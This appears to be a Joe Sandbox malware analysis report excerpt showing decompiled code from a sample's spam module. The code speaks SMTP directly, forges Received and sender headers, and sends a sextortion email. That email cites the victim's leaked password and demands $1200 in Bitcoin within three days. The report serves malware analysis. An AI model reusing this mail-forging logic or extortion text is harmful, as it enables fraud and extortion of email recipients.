                                                                                                                                                                                                                                                                                                                                                      0x010a1db2
                                                                                                                                                                                                                                                                                                                                                      0x010a1db3
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1db8
                                                                                                                                                                                                                                                                                                                                                      0x010a1dbe
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc9
                                                                                                                                                                                                                                                                                                                                                      0x010a1dcf
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd4
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1dda
                                                                                                                                                                                                                                                                                                                                                      0x010a1de0
                                                                                                                                                                                                                                                                                                                                                      0x010a1de5
                                                                                                                                                                                                                                                                                                                                                      0x010a1de6
                                                                                                                                                                                                                                                                                                                                                      0x010a1deb
                                                                                                                                                                                                                                                                                                                                                      0x010a1e08
                                                                                                                                                                                                                                                                                                                                                      0x010a1e0f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e15
                                                                                                                                                                                                                                                                                                                                                      0x010a1e18
                                                                                                                                                                                                                                                                                                                                                      0x010a1e1e
                                                                                                                                                                                                                                                                                                                                                      0x010a1e2c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e30
                                                                                                                                                                                                                                                                                                                                                      0x010a1e38
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e48
                                                                                                                                                                                                                                                                                                                                                      0x010a1e61
                                                                                                                                                                                                                                                                                                                                                      0x010a1e6a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e78
                                                                                                                                                                                                                                                                                                                                                      0x010a1e7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1e85
                                                                                                                                                                                                                                                                                                                                                      0x010a1e88
                                                                                                                                                                                                                                                                                                                                                      0x010a1e95
                                                                                                                                                                                                                                                                                                                                                      0x010a1e9c
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea0
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eaa
                                                                                                                                                                                                                                                                                                                                                      0x010a1ec4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ecb
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed1
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed4
                                                                                                                                                                                                                                                                                                                                                      0x010a1eda
                                                                                                                                                                                                                                                                                                                                                      0x010a1ee8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eec
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef6
                                                                                                                                                                                                                                                                                                                                                      0x010a1f04
                                                                                                                                                                                                                                                                                                                                                      0x010a1f14
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f23
                                                                                                                                                                                                                                                                                                                                                      0x010a1f2a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f35
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f57
                                                                                                                                                                                                                                                                                                                                                      0x010a1f5e
                                                                                                                                                                                                                                                                                                                                                      0x010a1f64
                                                                                                                                                                                                                                                                                                                                                      0x010a1f67
                                                                                                                                                                                                                                                                                                                                                      0x010a1f6d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f87
                                                                                                                                                                                                                                                                                                                                                      0x010a1f89
                                                                                                                                                                                                                                                                                                                                                      0x010a1f97
                                                                                                                                                                                                                                                                                                                                                      0x010a1faa
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb9
                                                                                                                                                                                                                                                                                                                                                      0x010a1fc0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fcb
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1fe3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fea
                                                                                                                                                                                                                                                                                                                                                      0x010a2005
                                                                                                                                                                                                                                                                                                                                                      0x010a2013
                                                                                                                                                                                                                                                                                                                                                      0x010a201a
                                                                                                                                                                                                                                                                                                                                                      0x010a2020
                                                                                                                                                                                                                                                                                                                                                      0x010a2023
                                                                                                                                                                                                                                                                                                                                                      0x010a2029
                                                                                                                                                                                                                                                                                                                                                      0x010a2037
                                                                                                                                                                                                                                                                                                                                                      0x010a203b
                                                                                                                                                                                                                                                                                                                                                      0x010a2043
                                                                                                                                                                                                                                                                                                                                                      0x010a2045
                                                                                                                                                                                                                                                                                                                                                      0x010a205a
                                                                                                                                                                                                                                                                                                                                                      0x010a205e
                                                                                                                                                                                                                                                                                                                                                      0x010a2066
                                                                                                                                                                                                                                                                                                                                                      0x010a2068
                                                                                                                                                                                                                                                                                                                                                      0x010a2081
                                                                                                                                                                                                                                                                                                                                                      0x010a2089
                                                                                                                                                                                                                                                                                                                                                      0x010a208b
                                                                                                                                                                                                                                                                                                                                                      0x010a20a7
                                                                                                                                                                                                                                                                                                                                                      0x010a20b4
                                                                                                                                                                                                                                                                                                                                                      0x010a20cf
                                                                                                                                                                                                                                                                                                                                                      0x010a20e3
                                                                                                                                                                                                                                                                                                                                                      0x010a20f0
                                                                                                                                                                                                                                                                                                                                                      0x010a2103
                                                                                                                                                                                                                                                                                                                                                      0x010a210a
                                                                                                                                                                                                                                                                                                                                                      0x010a2117
                                                                                                                                                                                                                                                                                                                                                      0x010a2146
                                                                                                                                                                                                                                                                                                                                                      0x010a2153
                                                                                                                                                                                                                                                                                                                                                      0x010a2182
                                                                                                                                                                                                                                                                                                                                                      0x010a218f
                                                                                                                                                                                                                                                                                                                                                      0x010a21a7
                                                                                                                                                                                                                                                                                                                                                      0x010a21ab
                                                                                                                                                                                                                                                                                                                                                      0x010a21b3
                                                                                                                                                                                                                                                                                                                                                      0x010a21b5
                                                                                                                                                                                                                                                                                                                                                      0x010a21ca
                                                                                                                                                                                                                                                                                                                                                      0x010a21e5
                                                                                                                                                                                                                                                                                                                                                      0x010a21f9
                                                                                                                                                                                                                                                                                                                                                      0x010a2206
                                                                                                                                                                                                                                                                                                                                                      0x010a2235
                                                                                                                                                                                                                                                                                                                                                      0x010a2242
                                                                                                                                                                                                                                                                                                                                                      0x010a2271
                                                                                                                                                                                                                                                                                                                                                      0x010a2279
                                                                                                                                                                                                                                                                                                                                                      0x010a2292
                                                                                                                                                                                                                                                                                                                                                      0x010a22a6
                                                                                                                                                                                                                                                                                                                                                      0x010a22b0
                                                                                                                                                                                                                                                                                                                                                      0x010a22bb
                                                                                                                                                                                                                                                                                                                                                      0x010a22c3
                                                                                                                                                                                                                                                                                                                                                      0x010a22c5
                                                                                                                                                                                                                                                                                                                                                      0x010a22d0
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a22c7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a21b7
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a208d
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a206a
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a2047
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd7
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f8b
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1f41
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1eac
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22e4
                                                                                                                                                                                                                                                                                                                                                      0x010a22ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b81
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1b5b
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a2301
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a2301
                                                                                                                                                                                                                                                                                                                                                      0x010a1af2

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A2340: strchr.MSVCRT ref: 010A234B
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A10A0: DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 010A10C4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A10A0: htons.WS2_32(00000019), ref: 010A10F5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A10A0: DnsFree.DNSAPI(00000000,00000001), ref: 010A110F
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000006), ref: 010A1AC2
                                                                                                                                                                                                                                                                                                                                                      • connect.WS2_32(000000FF,?,00000010), ref: 010A1AE9
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(000000FF,00000006,00000001,00000001,00000004), ref: 010A1B13
                                                                                                                                                                                                                                                                                                                                                      • shutdown.WS2_32(000000FF,00000002), ref: 010A230A
                                                                                                                                                                                                                                                                                                                                                      • closesocket.WS2_32(000000FF), ref: 010A2314
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeQuery_closesocketconnecthtonssetsockoptshutdownsocketstrchr
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3655475579-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 32674f9bcb37ed80b8405e862fd67222b4ca8c929fede0ad30594b43827b593c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 06b74d3eb72fe9b6ed965c79bbbb10ee2becb7a40dca01b7e82cfda34650253f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 32674f9bcb37ed80b8405e862fd67222b4ca8c929fede0ad30594b43827b593c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 61415F75D00208EBDF64DFE8CC49BEEB7B4BB04305F4042A8E65966280E7796A95CF51
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1CC3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 305 10a1cc3-10a1cfe wsprintfA call 10a1120 308 10a1d0c-10a1d13 305->308 309 10a1d00-10a1d07 305->309 310 10a22f3 308->310 309->310 312 10a1b2a-10a1b2e 310->312 313 10a22f8-10a2314 shutdown closesocket 310->313 312->313 314 10a1b34-10a1b44 call 10a1160 312->314 317 10a231a-10a2320 313->317 318 10a1b49-10a1b59 314->318 319 10a1b5b 318->319 320 10a1b60-10a1b7f call 10a11c0 318->320 319->313 323 10a1b81 320->323 324 10a1b86-10a1ba5 320->324 323->313 324->310 325 10a1bab 324->325 325->310
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E010A1CC3(void* __eflags) {
				void* _t172;
				intOrPtr _t176;
				char* _t177;
				void* _t202;
				void* _t204;
				void* _t206;
				void* _t208;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t202 - 0x4d0)) = wsprintfA(_t202 - 0x490, "RCPT TO: <%s>\r\n",  *((intOrPtr*)(_t202 + 8)));
					_t172 = E010A1120( *((intOrPtr*)(_t202 - 0x1c)), _t202 - 0x490,  *((intOrPtr*)(_t202 - 0x4d0))); // executed
					_t206 = _t204 + 0x18;
					if(_t172 != 0) {
						 *(_t202 - 0x20) = 5;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t202 - 0x20) != 0 &&  *(_t202 - 0x20) != 8) {
						_t176 = E010A1160( *((intOrPtr*)(_t202 - 0x1c)), _t202 - 0x490, 0x400); // executed
						_t208 = _t206 + 0xc;
						 *((intOrPtr*)(_t202 - 0x90)) = _t176;
						if( *((intOrPtr*)(_t202 - 0x90)) != 0) {
							L5:
							 *((char*)(_t202 +  *((intOrPtr*)(_t202 - 0x90)) - 0x490)) = 0;
							_t177 = E010A11C0(_t202 - 0x490);
							_t206 = _t208 + 4;
							__eflags = _t177;
							if(_t177 != 0) {
								L7:
								 *(_t202 - 0x758) =  *(_t202 - 0x20);
								 *(_t202 - 0x758) =  *(_t202 - 0x758) - 1;
								__eflags =  *(_t202 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t202 - 0x758) * 4 +  &M010A2324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t180 = StrStrA(_t202 - 0x490);
										__eflags = _t180;
										if(_t180 == 0) {
											_t181 = wsprintfA(_t202 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t209 = _t206 + 0xc;
											 *(_t202 - 0x494) = _t181;
										} else {
											_t184 = wsprintfA(_t202 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t209 = _t206 + 0xc;
											 *(_t202 - 0x494) = _t184;
										}
										_t183 = E010A1120( *((intOrPtr*)(_t202 - 0x1c)), _t202 - 0x490,  *(_t202 - 0x494)); // executed
										_t206 = _t209 + 0xc;
										__eflags = _t183;
										if(_t183 != 0) {
											 *(_t202 - 0x20) = 3;
										} else {
											 *(_t202 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E010A18D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										goto L0;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x658;
										E010A1320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E010A1490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E010A1490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E010A1390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E010A1320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E010A1320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E010A1320(__ecx, 6, __ecx) = E010A1320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E010A1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E010A1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E010A1320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E010A1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t202 - 8) = 0 |  *(_t202 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t202 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t202 - 0x1c)));
					return  *(_t202 - 8);
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1cdc
                                                                                                                                                                                                                                                                                                                                                      0x010a1cf4
                                                                                                                                                                                                                                                                                                                                                      0x010a1cf9
                                                                                                                                                                                                                                                                                                                                                      0x010a1cfe
                                                                                                                                                                                                                                                                                                                                                      0x010a1d0c
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x010a1d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a22f3
                                                                                                                                                                                                                                                                                                                                                      0x010a1b44
                                                                                                                                                                                                                                                                                                                                                      0x010a1b49
                                                                                                                                                                                                                                                                                                                                                      0x010a1b4c
                                                                                                                                                                                                                                                                                                                                                      0x010a1b59
                                                                                                                                                                                                                                                                                                                                                      0x010a1b60
                                                                                                                                                                                                                                                                                                                                                      0x010a1b66
                                                                                                                                                                                                                                                                                                                                                      0x010a1b75
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7a
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7d
                                                                                                                                                                                                                                                                                                                                                      0x010a1b7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1b86
                                                                                                                                                                                                                                                                                                                                                      0x010a1b89
                                                                                                                                                                                                                                                                                                                                                      0x010a1b98
                                                                                                                                                                                                                                                                                                                                                      0x010a1b9e
                                                                                                                                                                                                                                                                                                                                                      0x010a1ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bab
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bb8
                                                                                                                                                                                                                                                                                                                                                      0x010a1bc4
                                                                                                                                                                                                                                                                                                                                                      0x010a1bca
                                                                                                                                                                                                                                                                                                                                                      0x010a1bcc
                                                                                                                                                                                                                                                                                                                                                      0x010a1c01
                                                                                                                                                                                                                                                                                                                                                      0x010a1c07
                                                                                                                                                                                                                                                                                                                                                      0x010a1c0a
                                                                                                                                                                                                                                                                                                                                                      0x010a1bce
                                                                                                                                                                                                                                                                                                                                                      0x010a1bdf
                                                                                                                                                                                                                                                                                                                                                      0x010a1be5
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1be8
                                                                                                                                                                                                                                                                                                                                                      0x010a1c22
                                                                                                                                                                                                                                                                                                                                                      0x010a1c27
                                                                                                                                                                                                                                                                                                                                                      0x010a1c2a
